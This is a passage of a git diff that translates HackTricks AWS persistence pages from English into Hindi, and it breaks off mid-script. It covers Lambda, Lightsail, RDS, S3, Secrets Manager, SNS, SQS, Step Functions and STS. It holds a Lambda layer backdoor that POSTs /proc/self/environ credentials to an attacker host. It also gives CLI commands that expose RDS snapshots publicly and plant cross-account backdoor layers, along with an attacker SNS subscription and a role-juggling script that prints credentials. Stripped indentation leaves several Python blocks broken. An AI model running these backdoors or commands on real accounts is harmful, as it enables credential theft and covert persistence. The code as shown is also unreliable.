'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function' ``` +और यह **लाइब्रेरीज़** की सूची है जो **लैम्ब्डा डिफ़ॉल्ट रूप से शामिल करता है**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) -And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) +### लैम्ब्डा लेयर बैकडोरिंग -### Lambda Layer Backdooring +इस उदाहरण में मान लीजिए कि लक्षित कोड **`csv`** आयात कर रहा है। हम **`csv` लाइब्रेरी के आयात में बैकडोरिंग** करने जा रहे हैं। -In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**. +इसके लिए, हम **`csv`** नाम का डायरेक्टरी बनाएंगे जिसमें **`__init__.py`** फ़ाइल होगी, एक पथ में जो लैम्ब्डा द्वारा लोड किया जाता है: **`/opt/python/lib/python3.9/site-packages`**\ +फिर, जब लैम्ब्डा निष्पादित होता है और **csv** लोड करने की कोशिश करता है, तो हमारी **`__init__.py` फ़ाइल लोड और निष्पादित होगी**।\ +इस फ़ाइल को करना चाहिए: -For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\ -Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\ -This file must: - -- Execute our payload -- Load the original csv library - -We can do both with: +- हमारा पेलोड निष्पादित करें +- मूल csv लाइब्रेरी लोड करें +हम दोनों कर सकते हैं: ```python import sys from urllib import request with open("/proc/self/environ", "rb") as file: - url= "https://attacker13123344.com/" #Change this to your server - req = request.Request(url, data=file.read(), method="POST") - response = request.urlopen(req) +url= "https://attacker13123344.com/" #Change this to your server +req = request.Request(url, data=file.read(), method="POST") +response = request.urlopen(req) # Remove backdoor directory from path to load original library del_path_dir = "/".join(__file__.split("/")[:-2]) @@ -90,29 +83,27 @@ import csv as _csv sys.modules["csv"] = _csv ``` +फिर, इस कोड के साथ एक ज़िप बनाएं जो पथ **`python/lib/python3.9/site-packages/__init__.py`** में हो और इसे एक लैम्ब्डा लेयर के रूप में जोड़ें। -Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer. +आप इस कोड को [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) पर पा सकते हैं। -You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) - -The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated: +एकीकृत पेलोड **IAM क्रेडेंशियल्स को एक सर्वर पर भेजेगा जब इसे पहली बार बुलाया जाएगा या लैम्ब्डा कंटेनर के रीसेट के बाद** (कोड में परिवर्तन या ठंडी लैम्ब्डा), लेकिन **अन्य तकनीकें** जैसे निम्नलिखित भी एकीकृत की जा सकती हैं: {{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -### External Layers +### बाहरी लेयर्स -Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\ -Also note that the **max number of layers a lambda can have is 5**. +ध्यान दें कि **बाहरी खातों से लैम्ब्डा लेयर्स का उपयोग करना संभव है**। इसके अलावा, एक लैम्ब्डा एक बाहरी खाते से एक लेयर का उपयोग कर सकता है भले ही उसके पास अनुमतियाँ न हों।\ +यह भी ध्यान दें कि **एक लैम्ब्डा के पास अधिकतम 5 लेयर्स हो सकती हैं**। -Therefore, in order to improve the versatility of this technique an attacker could: - -- Backdoor an existing layer of the user (nothing is external) -- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**. - - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda) - - The victim **won't see external layers** used with **`aws lambda list-layers`** +इसलिए, इस तकनीक की बहुपरकारीता को बढ़ाने के लिए एक हमलावर कर सकता है: +- उपयोगकर्ता की एक मौजूदा लेयर में बैकडोर डालें (कुछ भी बाहरी नहीं है) +- **अपने खाते में** एक **लेयर** **बनाएं**, **पीड़ित खाते को लेयर का उपयोग करने के लिए अनुमति दें**, **पीड़ित की लैम्ब्डा में लेयर को कॉन्फ़िगर करें** और **अनुमति हटा दें**। +- **लैम्ब्डा** अभी भी **लेयर का उपयोग कर सकेगा** और **पीड़ित** के पास **लेयर्स कोड डाउनलोड करने का कोई आसान तरीका नहीं होगा** (लैम्ब्डा के अंदर एक रिव शेल प्राप्त करने के अलावा) +- पीड़ित **`aws lambda list-layers`** के साथ उपयोग की गई बाहरी लेयर्स नहीं देखेगा। ```bash # Upload backdoor layer aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" @@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen # Remove permissions aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index 88b0d082a..60be5857c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -4,34 +4,30 @@ ## Lightsail -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} -### Download Instance SSH keys & DB passwords +### इंस्टेंस SSH कुंजी और DB पासवर्ड डाउनलोड करें -They won't be changed probably so just having them is a good option for persistence +वे शायद नहीं बदले जाएंगे इसलिए उन्हें रखना स्थिरता के लिए एक अच्छा विकल्प है -### Backdoor Instances +### बैकडोर इंस्टेंस -An attacker could get access to the instances and backdoor them: +एक हमलावर इंस्टेंस तक पहुंच प्राप्त कर सकता है और उन्हें बैकडोर कर सकता है: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** -- Expose a port with port knocking with a backdoor +- उदाहरण के लिए एक पारंपरिक **rootkit** का उपयोग करना +- एक नया **public SSH key** जोड़ना +- बैकडोर के साथ पोर्ट नॉकिंग के साथ एक पोर्ट को उजागर करना -### DNS persistence +### DNS स्थिरता -If domains are configured: +यदि डोमेन कॉन्फ़िगर किए गए हैं: -- Create a subdomain pointing your IP so you will have a **subdomain takeover** -- Create **SPF** record allowing you to send **emails** from the domain -- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones +- एक उपडोमेन बनाएं जो आपके IP की ओर इशारा करता है ताकि आपके पास **subdomain takeover** हो +- **SPF** रिकॉर्ड बनाएं जो आपको डोमेन से **emails** भेजने की अनुमति देता है +- **मुख्य डोमेन IP को अपने स्वयं के IP पर कॉन्फ़िगर करें** और अपने IP से वैध IPs के लिए **MitM** करें {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index b7a4b8f7b..2cfcd11e9 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -4,32 +4,24 @@ ## RDS -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -### Make instance publicly accessible: `rds:ModifyDBInstance` - -An attacker with this permission can **modify an existing RDS instance to enable public accessibility**. +### इंस्टेंस को सार्वजनिक रूप से सुलभ बनाएं: `rds:ModifyDBInstance` +इस अनुमति के साथ एक हमलावर **एक मौजूदा RDS इंस्टेंस को सार्वजनिक सुलभता सक्षम करने के लिए संशोधित कर सकता है**। ```bash aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately ``` +### DB के अंदर एक एडमिन यूजर बनाएं -### Create an admin user inside the DB - -An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database. - -### Make snapshot public +एक हमलावर बस **DB के अंदर एक यूजर बना सकता है** ताकि अगर मास्टर यूजर का पासवर्ड बदल दिया जाए तो भी वह **डेटाबेस तक पहुंच नहीं खोता**। +### स्नैपशॉट को सार्वजनिक बनाएं ```bash aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index f2c4ce048..4f899931c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -4,26 +4,22 @@ ## S3 -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### KMS Client-Side Encryption +### KMS क्लाइंट-साइड एन्क्रिप्शन -When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again: +जब एन्क्रिप्शन प्रक्रिया पूरी हो जाती है, तो उपयोगकर्ता KMS API का उपयोग करके एक नया कुंजी उत्पन्न करेगा (`aws kms generate-data-key`) और वह **उत्पन्न एन्क्रिप्टेड कुंजी को फ़ाइल के मेटाडेटा के अंदर स्टोर करेगा** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) ताकि जब डिक्रिप्शन हो, तो वह इसे फिर से KMS का उपयोग करके डिक्रिप्ट कर सके:
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it. +इसलिए, एक हमलावर इस कुंजी को मेटाडेटा से प्राप्त कर सकता है और KMS के साथ डिक्रिप्ट कर सकता है (`aws kms decrypt`) ताकि वह जानकारी को एन्क्रिप्ट करने के लिए उपयोग की गई कुंजी प्राप्त कर सके। इस तरह, हमलावर के पास एन्क्रिप्शन कुंजी होगी और यदि उस कुंजी का पुन: उपयोग अन्य फ़ाइलों को एन्क्रिप्ट करने के लिए किया जाता है, तो वह इसका उपयोग कर सकेगा। -### Using S3 ACLs +### S3 ACLs का उपयोग करना -Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket. +हालांकि आमतौर पर बाल्टियों के ACLs बंद होते हैं, एक हमलावर जिसके पास पर्याप्त विशेषाधिकार हैं, उनका दुरुपयोग कर सकता है (यदि सक्षम हैं या यदि हमलावर उन्हें सक्षम कर सकता है) S3 बाल्टी तक पहुंच बनाए रखने के लिए। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index c15f27003..32aea59f0 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -4,54 +4,48 @@ ## Secrets Manager -For more info check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Via Resource Policies +### संसाधन नीतियों के माध्यम से -It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**. +यह **बाहरी खातों को रहस्यों तक पहुँच प्रदान करना** संभव है संसाधन नीतियों के माध्यम से। अधिक जानकारी के लिए [**Secrets Manager Privesc पृष्ठ**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) देखें। ध्यान दें कि **एक रहस्य तक पहुँचने के लिए**, बाहरी खाते को **रहस्य को एन्क्रिप्ट करने वाले KMS कुंजी तक भी पहुँच की आवश्यकता होगी**। -### Via Secrets Rotate Lambda +### Secrets Rotate Lambda के माध्यम से -To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself. - -This is how lambda code for such action could look like: +स्वचालित रूप से **रहस्यों को घुमाने** के लिए एक कॉन्फ़िगर किया गया **Lambda** कॉल किया जाता है। यदि एक हमलावर **कोड** को **बदल** सकता है, तो वह सीधे **नए रहस्य को** अपने लिए **निकाल** सकता है। +इस प्रकार की कार्रवाई के लिए लैम्ब्डा कोड इस तरह दिख सकता है: ```python import boto3 def rotate_secrets(event, context): - # Create a Secrets Manager client - client = boto3.client('secretsmanager') +# Create a Secrets Manager client +client = boto3.client('secretsmanager') - # Retrieve the current secret value - secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - # Rotate the secret by updating its value - new_secret_value = rotate_secret(secret_value) - client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) def rotate_secret(secret_value): - # Perform the rotation logic here, e.g., generate a new password +# Perform the rotation logic here, e.g., generate a new password - # Example: Generate a new password - new_secret_value = generate_password() +# Example: Generate a new password +new_secret_value = generate_password() - return new_secret_value +return new_secret_value def generate_password(): - # Example: Generate a random password using the secrets module - import secrets - import string - password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) - return password +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index 8e97cc81c..a139dad70 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -4,7 +4,7 @@ ## SNS -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,74 +12,66 @@ For more information check: ### Persistence -When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**: - +जब आप एक **SNS टॉपिक** बनाते हैं, तो आपको IAM नीति के साथ यह बताना होगा कि **किसे पढ़ने और लिखने का अधिकार है**। बाहरी खातों, भूमिकाओं के ARN, या **यहाँ तक कि "\*"** को निर्दिष्ट करना संभव है।\ +निम्नलिखित नीति AWS में सभी को **`MySNS.fifo`** नामक SNS टॉपिक में पढ़ने और लिखने की अनुमति देती है: ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__default_statement_ID", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "SNS:Publish", - "SNS:RemovePermission", - "SNS:SetTopicAttributes", - "SNS:DeleteTopic", - "SNS:ListSubscriptionsByTopic", - "SNS:GetTopicAttributes", - "SNS:AddPermission", - "SNS:Subscribe" - ], - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", - "Condition": { - "StringEquals": { - "AWS:SourceOwner": "318142138553" - } - } - }, - { - "Sid": "__console_pub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Publish", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - }, - { - "Sid": "__console_sub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Subscribe", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] } ``` - ### Create Subscribers -To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**. - -Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used. +सभी विषयों से सभी संदेशों को निकालने के लिए हमलावर **सभी विषयों के लिए सब्सक्राइबर बना सकता है**। +ध्यान दें कि यदि **विषय FIFO प्रकार का है**, तो केवल **SQS** प्रोटोकॉल का उपयोग करने वाले सब्सक्राइबर का उपयोग किया जा सकता है। ```bash aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 88f396173..07f54abcb 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -4,40 +4,34 @@ ## SQS -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Using resource policy - -In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**: +### संसाधन नीति का उपयोग करना +SQS में आपको IAM नीति के साथ यह संकेत देना होगा कि **किसके पास पढ़ने और लिखने का अधिकार है**। बाहरी खातों, भूमिकाओं के ARN, या **यहाँ तक कि "\*"** को संकेत देना संभव है।\ +निम्नलिखित नीति AWS में सभी को **MyTestQueue** नामक कतार में सब कुछ तक पहुँच देती है: ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__owner_statement", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": ["SQS:*"], - "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] } ``` - > [!NOTE] -> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> आप हर बार जब कतार में एक नया संदेश डाला जाता है, तो **हमलावर के खाते में एक Lambda को ट्रिगर** कर सकते हैं (आपको इसे फिर से डालने की आवश्यकता होगी) किसी न किसी तरह। इसके लिए इन निर्देशों का पालन करें: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md index c1b9a422b..3bd0aae28 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md @@ -1,6 +1 @@ # AWS - SSM Perssitence - - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index 4e8c120ff..296e431c7 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -4,7 +4,7 @@ ## Step Functions -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -12,14 +12,10 @@ For more information check: ### Step function Backdooring -Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps. +एक स्टेप फंक्शन में बैकडोर करें ताकि यह किसी भी पर्सिस्टेंस ट्रिक को निष्पादित कर सके, ताकि हर बार जब इसे चलाया जाए, यह आपके दुर्भावनापूर्ण स्टेप्स को चलाए। ### Backdooring aliases -If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function. +यदि AWS खाता स्टेप फंक्शंस को कॉल करने के लिए उपनाम का उपयोग कर रहा है, तो एक उपनाम को संशोधित करना संभव होगा ताकि स्टेप फंक्शन के नए बैकडोर्ड संस्करण का उपयोग किया जा सके। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 74db04bec..1b41b7d91 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -4,7 +4,7 @@ ## STS -For more information access: +अधिक जानकारी के लिए पहुँचें: {{#ref}} ../aws-services/aws-sts-enum.md @@ -12,54 +12,51 @@ For more information access: ### Assume role token -Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence. +अस्थायी टोकन को सूचीबद्ध नहीं किया जा सकता, इसलिए एक सक्रिय अस्थायी टोकन बनाए रखना स्थायीता बनाए रखने का एक तरीका है।
aws sts get-session-token --duration-seconds 129600
 
 # With MFA
 aws sts get-session-token \
-    --serial-number <mfa-device-name> \
-    --token-code <code-from-token>
+--serial-number <mfa-device-name> \
+--token-code <code-from-token>
 
-# Hardware device name is usually the number from the back of the device, such as GAHT12345678
-# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
-# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
+# हार्डवेयर डिवाइस का नाम आमतौर पर डिवाइस के पीछे का नंबर होता है, जैसे GAHT12345678
+# SMS डिवाइस का नाम AWS में ARN है, जैसे arn:aws:iam::123456789012:sms-mfa/username
+# वर्चुअल डिवाइस का नाम AWS में ARN है, जैसे arn:aws:iam::123456789012:mfa/username
 
### Role Chain Juggling -[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials. - -You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going: +[**रोल चेनिंग एक मान्यता प्राप्त AWS विशेषता है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), जिसे अक्सर छिपी हुई स्थिरता बनाए रखने के लिए उपयोग किया जाता है। इसमें **एक भूमिका को मान लेना शामिल है जो फिर दूसरी भूमिका को मान लेती है**, संभावित रूप से **चक्रीय तरीके** से प्रारंभिक भूमिका पर लौटते हुए। प्रत्येक बार जब एक भूमिका को मान लिया जाता है, तो क्रेडेंशियल्स की समाप्ति फ़ील्ड को ताज़ा किया जाता है। परिणामस्वरूप, यदि दो भूमिकाएँ एक-दूसरे को आपस में मानने के लिए कॉन्फ़िगर की गई हैं, तो यह सेटअप क्रेडेंशियल्स के निरंतर नवीनीकरण की अनुमति देता है। +आप इस [**उपकरण**](https://github.com/hotnops/AWSRoleJuggler/) का उपयोग करके रोल चेनिंग को जारी रख सकते हैं: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] optional arguments: - -h, --help show this help message and exit - -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] +-h, --help show this help message and exit +-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` - > [!CAUTION] -> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured. +> ध्यान दें कि [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) स्क्रिप्ट उस Github रिपॉजिटरी से सभी तरीकों को नहीं ढूंढती है जिनसे एक भूमिका श्रृंखला को कॉन्फ़िगर किया जा सकता है।
-Code to perform Role Juggling from PowerShell - +PowerShell से भूमिका जुगलिंग करने के लिए कोड ```powershell # PowerShell script to check for role juggling possibilities using AWS CLI # Check for AWS CLI installation if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) { - Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." - exit +Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." +exit } # Function to list IAM roles function List-IAMRoles { - aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json +aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json } # Initialize error count @@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json # Attempt to assume each role foreach ($role in $roles) { - $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($credentials) { - Write-Host "Successfully assumed role: $($role.RoleName)" - Write-Host "Access Key: $($credentials.AccessKeyId)" - Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" - Write-Host "Session Token: $($credentials.SessionToken)" - Write-Host "Expiration: $($credentials.Expiration)" +$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) +try { +$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($credentials) { +Write-Host "Successfully assumed role: $($role.RoleName)" +Write-Host "Access Key: $($credentials.AccessKeyId)" +Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" +Write-Host "Session Token: $($credentials.SessionToken)" +Write-Host "Expiration: $($credentials.Expiration)" - # Set temporary credentials to assume the next role - $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId - $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey - $env:AWS_SESSION_TOKEN = $credentials.SessionToken +# Set temporary credentials to assume the next role +$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId +$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey +$env:AWS_SESSION_TOKEN = $credentials.SessionToken - # Try to assume another role using the temporary credentials - foreach ($nextRole in $roles) { - if ($nextRole.Arn -ne $role.Arn) { - $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($nextCredentials) { - Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" - Write-Host "Access Key: $($nextCredentials.AccessKeyId)" - Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" - Write-Host "Session Token: $($nextCredentials.SessionToken)" - Write-Host "Expiration: $($nextCredentials.Expiration)" - } - } catch { - $errorCount++ - } - } - } +# Try to assume another role using the temporary credentials +foreach ($nextRole in $roles) { +if ($nextRole.Arn -ne $role.Arn) { +$nextSessionName = "RoleJugglingTest-" + 